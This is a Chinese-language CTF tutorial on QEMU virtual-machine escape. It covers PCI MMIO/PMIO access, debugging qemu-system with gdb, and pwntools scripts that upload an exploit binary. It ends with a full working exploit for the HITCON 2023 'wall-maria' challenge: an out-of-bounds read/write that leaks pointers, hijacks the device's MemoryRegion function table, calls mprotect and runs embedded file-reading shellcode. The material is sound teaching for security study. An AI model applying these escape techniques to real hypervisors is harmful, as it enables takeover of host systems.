【Virtual】浅谈escape-qemu

qemu逃逸这部分内容,在今年年初就有所涉猎,然而由于本人过于懒惰,这个部分的总结推了整整半年多。直到参加本月的HTICON2023,真正第一次在比赛中面对QEMU逃逸,发现了自己很多的不足之处。借这次机会将这部分内容作以总结。

QEMU

PCI设备

在目前的QEMU逃逸题目类型中,出题者一般会在qemu-system-x86_64(或是对应arm架构的qemu-system)的二进制程序中加入自己编写的、具有漏洞的PCI设备模块。每个PCI设备都对应一个PCI配置空间,包含该PCI设备的相关信息,结构如图。

PCI

针对PCI设备,其对应内存空间有两种形式,MMIO和PMIO

MMIO 内存映射I/O

MMIO全称位Memory mapping I/O,即内存映射I/O. 直观来讲,就是内存和I/O共享一个地址空间。在计算机组成原理中,我们也接触过这样的形式:直接将一部分内存地址空间分配于外设,访问外设和代码数据使用相同的地址总线。

MMIO

因此访问这种外设的I/O非常方便,因为在同一地址空间下,我们只需要直接访问映射出来的虚拟地址空间即可,对于MMIO型设备,我们可以用如下的方式访问

char* mmio_mem;
 
void mmio_write(uint64_t addr, char value) {
    *(char*)(mmio_mem + addr) = value;
}
 
uint64_t mmio_read(uint64_t addr) {
    return *((char *)(mmio_mem + addr));
}
int main()
{
    // 这里具体打开那个pci设备需要定位,后几节我们会谈到
    int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR | O_SYNC);
    if (fd == -1)
    {
      perror("mmio_fd open failed");
        exit(-1);
    }
    
    /*	映射外设I/O	*/
    mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0);
    if (mmio_mem == MAP_FAILED)
    {
      perror("mmap mmio_mem failed");
            exit(-1);
    }
}

PMIO 端口映射I/O

PMIO全称为Port-mapped I/O,即端口映射I/O,也被称为隔离的I/O(isolated I/O)。在这种外设内存分配形式下,外设拥有独立的地址空间,因而在物理接口层面一般会有独立的I/O总线或I/O引脚来对这种外设进行访问。

PMIO

在这种情况下,端口映射I/O需要特殊的指令来进行I/O操作。在intel微处理器下,一般使用IN和OUT来进行I/O操作。例如:inb, inw, inl, outb, outw, outl等,用于读写不同长度,b代表byte,w代表word,l代表long。访问方式如下

int pmio_base = 0xc040;
void pmio_write(uint32_t addr, uint32_t value)
{
    outl(value, pmio_base + addr);
}
 
uint64_t pmio_read(uint32_t addr)
{
    return inl(pmio_base + addr);
}
int main(int argc, char *argv[])
{
 
    // Open and map I/O memory for the strng device
    if (iopl(3) !=0 ){
        perror("I/O permission is not enough");
                exit(-1);
                }
}

查看系统PCI设备

主要可以使用两个命令lspciinfo pci

lspci

在linux环境下我们可以使用命令lspci来列出该系统装载的的所有pci设备

/root # lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 0200: 8086:100e
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
00:05.0 Class 00ff: 1234:dead
/root # 

以第5行00:05.0 Class 00ff: 1234:dead为例,来介绍每个部分含义,从左向右具体内容指代如下:

  • 00代表总线标号
  • 05.0,其中05代表设备号,.0用来表示功能号
  • 00ff,class_id
  • 1234,vendor_id
  • dead,device_id

一般通过后三个内容信息,我们便可知道要找的PCI设备对应哪一个内容.

info pci

在没用lspci命令的情况下,我们也可以使用info pci命令查看,不过其为QEMU的monitor所包含的指令。

首先要修改run.sh,在结尾部分添加monitor选项-monitor telnet:127.0.0.1:4444,server,nowait

#!/bin/bash

./qemu-system-x86_64 \
    -L ./bios \
    -kernel ./bzImage \
    -initrd ./rootfs.cpio \
    -cpu kvm64,+smep,+smap \
    -monitor none \
    -m 1024M \
    -append "console=ttyS0 oops=panic panic=1 quiet" \
    -monitor /dev/null \
    -nographic \
    -no-reboot \
    -net user -net nic -device e1000 \
    -device maria \
    -sandbox on,obsolete=deny,elevateprivileges=deny,spawn=deny,resourcecontrol=deny \
    -monitor telnet:127.0.0.1:4444,server,nowait

之后我们便可以使用nc或者telnet进行连接

┌─[loorain@ubuntu] - [~/PWN/hitcon/2023/wall_maria/share] - [5120]
└─[$] nc 127.0.0.1 4444                                                                       [10:18:44]
QEMU 8.0.2 monitor - type 'help' for more information
(qemu) info pci
info pci
  Bus  0, device   0, function 0:
    Host bridge: PCI device 8086:1237
      PCI subsystem 1af4:1100
      id ""
  Bus  0, device   1, function 0:
    ISA bridge: PCI device 8086:7000
      PCI subsystem 1af4:1100
      id ""
  Bus  0, device   1, function 1:
    IDE controller: PCI device 8086:7010
      PCI subsystem 1af4:1100
      BAR4: I/O at 0xc080 [0xc08f].
      id ""
  Bus  0, device   1, function 3:
    Bridge: PCI device 8086:7113
      PCI subsystem 1af4:1100
      IRQ 9, pin A
      id ""
  Bus  0, device   2, function 0:
    VGA controller: PCI device 1234:1111
      PCI subsystem 1af4:1100
      BAR0: 32 bit prefetchable memory at 0xfd000000 [0xfdffffff].
      BAR2: 32 bit memory at 0xfebe0000 [0xfebe0fff].
      BAR6: 32 bit memory at 0xffffffffffffffff [0x0000fffe].
      id ""
  Bus  0, device   3, function 0:
    Ethernet controller: PCI device 8086:100e
      PCI subsystem 1af4:1100
      IRQ 11, pin A
      BAR0: 32 bit memory at 0xfeb80000 [0xfeb9ffff].
      BAR1: I/O at 0xc000 [0xc03f].
      BAR6: 32 bit memory at 0xffffffffffffffff [0x0003fffe].
      id ""
  Bus  0, device   4, function 0:
    Ethernet controller: PCI device 8086:100e
      PCI subsystem 1af4:1100
      IRQ 11, pin A
      BAR0: 32 bit memory at 0xfeba0000 [0xfebbffff].
      BAR1: I/O at 0xc040 [0xc07f].
      BAR6: 32 bit memory at 0xffffffffffffffff [0x0003fffe].
      id ""
  Bus  0, device   5, function 0:
    Class 0255: PCI device 1234:dead
      PCI subsystem 1af4:1100
      BAR0: 32 bit memory at 0xfebd0000 [0xfebdffff].
      id ""
(qemu) 

可以看到,其给出了更加详细PCI设备内容

调试QEMU

QEMU逃逸本质上可以回归为用户态的漏洞利用问题,以为实际情况便是劫持在宿主机上运行的qemu-system程序实现宿主机RCE,之后通过反弹shell或者其他操作便完成了一个QEMU逃逸。

因此调试QEMU的方式,便是直接attach到qemu-system进程,具体流程如下

首先找到qemu-system 的进程号,可以使用ps -aux | grep "qemu-system"

┌─[loorain@ubuntu] - [~/PWN/hitcon/2023/wall_maria/share] - [5128]
└─[$] ps -aux | grep "qemu-system"                                                            [10:55:39]
loorain    11957 18.4  5.8 3405144 469648 pts/0  Sl+  10:55   0:33 ./qemu-system-x86_64 -L ./bios -kernel ./bzImage -initrd ./rootfs.cpio -cpu kvm64,+smep,+smap -monitor none -m 1024M -append console=ttyS0 oops=panic panic=1 quiet -monitor /dev/null -nographic -no-reboot -net user -net nic -device e1000 -device maria -sandbox on,obsolete=deny,elevateprivileges=deny,spawn=deny,resourcecontrol=deny -monitor telnet:127.0.0.1:4444,server,nowait
loorain    12232  0.0  0.0   9208  2432 pts/5    S+   10:58   0:00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn --exclude-dir=.idea --exclude-dir=.tox qemu-system
┌─[loorain@ubuntu] - [~/PWN/hitcon/2023/wall_maria/share] - [5130]
└─[$]  

然后需要用root权限直接gdb qemu-system,之后attach到该进程

┌─[loorain@ubuntu] - [~/PWN/hitcon/2023/wall_maria/share] - [5132]
└─[$] sudo gdb qemu-system-x86_64                                                             [10:59:14]
[sudo] password for loorain: 
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
...
...
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 198 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from qemu-system-x86_64...
pwndbg> attach 11957

剩下就是下断点以及调试了

远程exp脚本

这部分偷的wjh师傅的exp模板,Kernel和QEMU逃逸类型题目都是通用的,也可以更具自己需求自定义内容。

根据我自己的经验,有时候gcc生成的静态链接程序过于庞大,pwntools可能会出现传输卡死的情况发生。这个时候可以考虑用musl-gcc静态编译exp文件,体积一般能直接缩小到1/3的大小,再配合gzip压缩,传输效果嘎嘎好👌

上传脚本1(一次性发送)

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import os

# context.log_level = 'debug'
cmd = '# '


def exploit(r):
    r.sendlineafter(cmd, 'stty -echo')
    os.system('musl-gcc  -static -O2 ./poc/exp.c -o ./poc/exp')
    os.system('gzip -c ./poc/exp > ./poc/exp.gz')
    r.sendlineafter(cmd, 'cat <<EOF > exp.gz.b64')
    r.sendline((read('./poc/exp.gz')).encode('base64'))
    r.sendline('EOF')
    r.sendlineafter(cmd, 'base64 -d exp.gz.b64 > exp.gz')
    r.sendlineafter(cmd, 'gunzip ./exp.gz')
    r.sendlineafter(cmd, 'chmod +x ./exp')
    r.sendlineafter(cmd, './exp')
    r.interactive()


# p = process('./startvm.sh', shell=True)
p = remote('nc.eonew.cn',10100)

exploit(p)

上传脚本2(分段发送)

#coding:utf8
from pwn import *
import base64
context.log_level = 'debug'
os.system("musl-gcc 1.c -o exp --static")
sh = remote('127.0.0.1',5555)

f = open('./exp','rb')
content = f.read()
total = len(content)
f.close()
per_length = 0x200;
sh.sendlineafter('# ','touch /tmp/exploit')
for i in range(0,total,per_length):
   bstr = base64.b64encode(content[i:i+per_length])
   sh.sendlineafter('# ','echo {} | base64 -d >> /tmp/exploit'.format(bstr))
if total - i > 0:
   bstr = base64.b64encode(content[total-i:total])
   sh.sendlineafter('# ','echo {} | base64 -d >> /tmp/exploit'.format(bstr))

sh.sendlineafter('# ','chmod +x /tmp/exploit')
sh.sendlineafter('# ','/tmp/exploit')
sh.interactive()

实战练习

这里我选用的题目是HITCON2023 wall-maria,算是比赛pwn方向的签到题,难度比较适合做qemu入门

题目可以在这里下载:wxrdnx/HITCON-2023-Challenges (github.com)

改题目甚至直接给了maria设备的相关源码,最大程度降低了题目难度,不过我们还是从逆向开始分析,尽可能介绍这类题目的完整流程

逆向分析

直接将给予我们的qemu-system-x86_64拖入IDA中,要找到我们需要的PCI设备相关函数,首先要知道设备名称。一般从启动脚本或是题目名称中可以得到相关信息,比如本题的启动脚本中包含-device maria

我们便可以在IDA的函数中搜索关键词maria,可以得到如下结果

image-20230919112547611

函数名称一般就能够直观表示功能,比如使用MMIO进行读写操作的函数,还有初始化函数相关的内容。

maria_class_init

首先我们来看看初始化相关的函数,进入maria_class_init,可以看到如下内容

image-20230919121939263

这里比较明显的设置了该设备的一些信息,比如vendor_id, device_id, class_id等等。对应lspci得到的内容我们可以确定设备对应00:05.0 Class 00ff: 1234:dead这一行

image-20230919124121210

maria_mmio_read & write

接下来我们需要看看核心的读写函数,由函数名,我们可以得到信息这两个函数的调用需要使用mmio的方式。为了让逆向代码可读性更好,我们需要将函数的第一个参数设置为对应的结构体类型(一般结构体的名称与设备名称相关,可以用关键词搜索)

右键指针类型,选择 Convert to struct *...

image-20230919124457514

然后关键词搜索maria,设置对应类型。对write函数也进行同样的操作

image-20230919124558959

我们就能得到相对直观的伪代码,下图是mmio_readmmio_write

read函数

image-20230919124738617

cpu_physical_memory

我们注意到read和write使用cpu_physical_memory_rw()来进行内存读写操作,需要注意的是,该函数用于物理内存的读写。因而我们需要对虚拟内存进行转换,这里我们先来关注下该函数的原型和使用方式

void __cdecl cpu_physical_memory_rw(hwaddr addr, void *buf, hwaddr len, bool is_write) {};
/*
*	函数简介:
*		该函数主要用于物理内存之间的数据读写:当is_write为0时,由addr拷贝
*		至buf;当is_write为1时,由buf拷贝至addr。
*	参数含义:
*		hwaddr addr 	表示客户机的物理地址,例如QEMU中我们的EXP程序;
*		void* buf 		表示QEMU本身的虚拟地址,例如qemu-system-x86_64;
*		hwaddr len		表示读写长度;
*		bool is_write	函数功能控制参数,解释如上简介。
*/

漏洞分析及利用

这里的漏洞比较直观,主要是由于读写时的长度固定为0x2000,在设置偏移off之后,便会导致越界读写。根据我个人调试的结果,成员变量src具结构体开头的偏移0xa20,off为偏移0xa28,buff偏移为0xa30,结构体定义如下:

typedef struct {
    PCIDevice pdev;
    struct {
        uint64_t src;
        uint8_t off;
    } state;
    char buff[BUFF_SIZE];
    MemoryRegion mmio;
} MariaState;

可以看到越界读写便会读取结构体MemoryRegion中的内容,里面有相当多的指针,具体我们会在后面介绍

因此基本利用思路如下:

  1. 利用越界读写,获得qemu-system-x86_64 所在虚拟内存的堆地址指针和text段地址指针
  2. 覆盖mmio->ops, mmio->opaque指针至合适的位置
  3. 覆盖mmio_readmmio_write以劫持控制流

Linux Huge Page

这里读写前需要考虑一个问题,内存读写的大小为0x2000,刚刚好是两个页面;同时又使用进程物理地址获取信息。所以我们还需要保证exp中的buf[0x2000]对应两个恰好连续的物理页面。这里解决方案使用的便是Linux Huge Page的方式,来扩大页表大小。

在申请buf前,使用如下方式开启Linux Huge Page

system("sysctl vm.nr_hugepages=32");
system("cat /proc/meminfo | grep -i huge");

具体介绍可以我之前的博客:Linux Huge Pages

MemoryRegion

MemoryRegion结构体定义如下,我们可以找到opsopague相对于该结构体起始地址的偏移为0x48和0x50

struct MemoryRegion {
    Object parent_obj;

    /* private: */

    /* The following fields should fit in a cache line */
    bool romd_mode;
    bool ram;
    bool subpage;
    bool readonly; /* For RAM regions */
    bool nonvolatile;
    bool rom_device;
    bool flush_coalesced_mmio;
    uint8_t dirty_log_mask;
    bool is_iommu;
    RAMBlock *ram_block;
    Object *owner;
    /* owner as TYPE_DEVICE. Used for re-entrancy checks in MR access hotpath */
    DeviceState *dev;

    const MemoryRegionOps *ops;
    void *opaque;
    MemoryRegion *container;
    int mapped_via_alias; /* Mapped via an alias, container might be NULL */
    Int128 size;
    hwaddr addr;
    void (*destructor)(MemoryRegion *mr);
    uint64_t align;
    bool terminates;
    bool ram_device;
    bool enabled;
    bool warning_printed; /* For reservations */
    uint8_t vga_logging_count;
    MemoryRegion *alias;
    hwaddr alias_offset;
    int32_t priority;
    QTAILQ_HEAD(, MemoryRegion) subregions;
    QTAILQ_ENTRY(MemoryRegion) subregions_link;
    QTAILQ_HEAD(, CoalescedMemoryRange) coalesced;
    const char *name;
    unsigned ioeventfd_nb;
    MemoryRegionIoeventfd *ioeventfds;
    RamDiscardManager *rdm; /* Only for RAM */

    /* For devices designed to perform re-entrant IO into their own IO MRs */
    bool disable_reentrancy_guard;
};

需要知道的是opaque即mmio函数的第一个参数,也就是指向PCI对应结构体的起始地址;ops指向一个虚表,用于存放该PCI设备对应的一些函数,如下图

image-20230919142406536

ops指向的第一个函数为read,第二个函数为write;对于本题存在沙盒,我们只需要劫持虚表指针,覆盖maria_mmio_readmprotectmaria_mmio_write为shellcode即可。

函数参数rdi可以通过越界覆盖opaque指针完成,其他参数也可以直接控制,参考exp如下:

/*
*   escape-qemu template for mimo PCI device
*   By Loora1N
*/
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/io.h>
#include <sys/types.h>
#include <inttypes.h>

unsigned char *mmio_mem;

#define PAGE_SIZE 0x1000

void mmio_write(uint32_t addr, uint32_t value) {
    *(uint32_t *)(mmio_mem + addr) = value;
}

uint32_t mmio_read(uint32_t addr) {
    return *(uint32_t *)(mmio_mem + addr);
}

void set_src(uint32_t value) {
    mmio_write(0x04, value);
}

void set_off(uint32_t value) {
    mmio_write(0x08, value);
}

void get_buff() {
    mmio_read(0x00);
}

void set_buff() {
    mmio_write(0x00, 0);
}

uint64_t gva2gpa(void *addr){
    uint64_t page = 0;
    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0) {
        fprintf(stderr, "[!] open error in gva2gpa\n");
        exit(1);
    }
    lseek(fd, ((uint64_t)addr / PAGE_SIZE) * 8, SEEK_SET);
    read(fd, &page, 8);
    return ((page & 0x7fffffffffffff) * PAGE_SIZE) | ((uint64_t)addr & 0xfff);
}

int main() {
    
    //init

    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:05.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1) {
        fprintf(stderr, "[!] Cannot open /sys/devices/pci0000:00/0000:00:05.0/resource0\n");
        exit(1);
    }
    mmio_mem = mmap(NULL, 4 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED) {
        fprintf(stderr, "[!] mmio error\n");
        exit(1);
    }
    printf("[*] mmio done\n");


    //set huge pages
    system("sysctl vm.nr_hugepages=32");
    system("cat /proc/meminfo | grep -i huge");

    //寻址物理地址相邻的页
    char* buff;
    uint64_t buff_gpa;
    while(1){
        buff = (char *)mmap(NULL, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
        if(buff == MAP_FAILED) {
            fprintf(stderr, "[!] cannot mmap buff\n");
        }
        memset(buff, 0x0, 2 * PAGE_SIZE);
        buff_gpa = gva2gpa(buff);

        uint64_t buff_gpa_1000 = gva2gpa(buff + PAGE_SIZE);
        if(buff_gpa + PAGE_SIZE == buff_gpa_1000) {
            break;
        }
    }
    
    printf("[*] buff virtual address = %p\n",buff);
    printf("[*] buff physical address = %p\n",buff_gpa);

    set_src(buff_gpa);
    set_off(0xf0);
    get_buff();

    uint64_t * buff_u64 = (uint64_t *) buff;
    uint64_t maria_buff_addr = buff_u64[0x3fa] - 0x20b8;
    uint64_t maria_addr = maria_buff_addr - 0xa30;
    uint64_t qemu_code_base = buff_u64[0x3eb] - 0xf1ff80;
    uint64_t mprotect_plt = qemu_code_base + 0x30C404;

    printf("[*] maria buff addr = %p\n",maria_buff_addr);
    printf("[*] maria addr = %p\n",maria_addr);
    printf("[*] qemu_code_base = %p\n",qemu_code_base);
    printf("[*] mprotect_plt = %p\n",mprotect_plt);
    
    
    /* orw shellcode*/
    char shellcode[] = {
        0xeb, 0x10, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x75, 0x73, 0x65, 0x72,
        0x2f, 0x66, 0x6c, 0x61, 0x67, 0x00, 0x6a, 0x02, 0x58, 0x48, 0x8d, 0x3d,
        0xe6, 0xff, 0xff, 0xff, 0x31, 0xf6, 0x0f, 0x05, 0x48, 0x97, 0x31, 0xc0,
        0x54, 0x5e, 0x6a, 0x70, 0x5a, 0x0f, 0x05, 0x48, 0x92, 0x6a, 0x01, 0x58,
        0x6a, 0x01, 0x5f, 0x54, 0x5e, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x6a, 0x3c,
        0x58, 0x0f, 0x05
    };
    
    buff_u64[0x0] = maria_buff_addr + 0x4f0;    // overwirte mmio_read to shellcode
    buff_u64[0x1] = mprotect_plt;               // overwrite mmio_write to mprotect

    memcpy(&buff_u64[0x80],shellcode,sizeof(shellcode));

    //覆盖 maria->mmio.ops and maria->mmio.opaque
    buff_u64[0x3ec] = maria_buff_addr & ~0xfff;     // maria->mmio.opaque 控制rdi
    buff_u64[0x3eb] = maria_buff_addr + 0xf0;       // maria->mmio.ops 覆盖虚表
    buff_u64[0x3eb - (maria_addr & 0xfff) / 8] = maria_buff_addr + 0xf0; // (MariaState *)(maria_addr & 0xfff)->mmio.ops 控制rdi所对应的虚表

    set_src(buff_gpa);
    set_off(0xf0);
    set_buff();
    
    mmio_write(0x2000, 0x7); // mprotect(maria_buff_addr & ~0xfff, 0x2000, 0x7)
    mmio_read(0x0);
    return 0;
}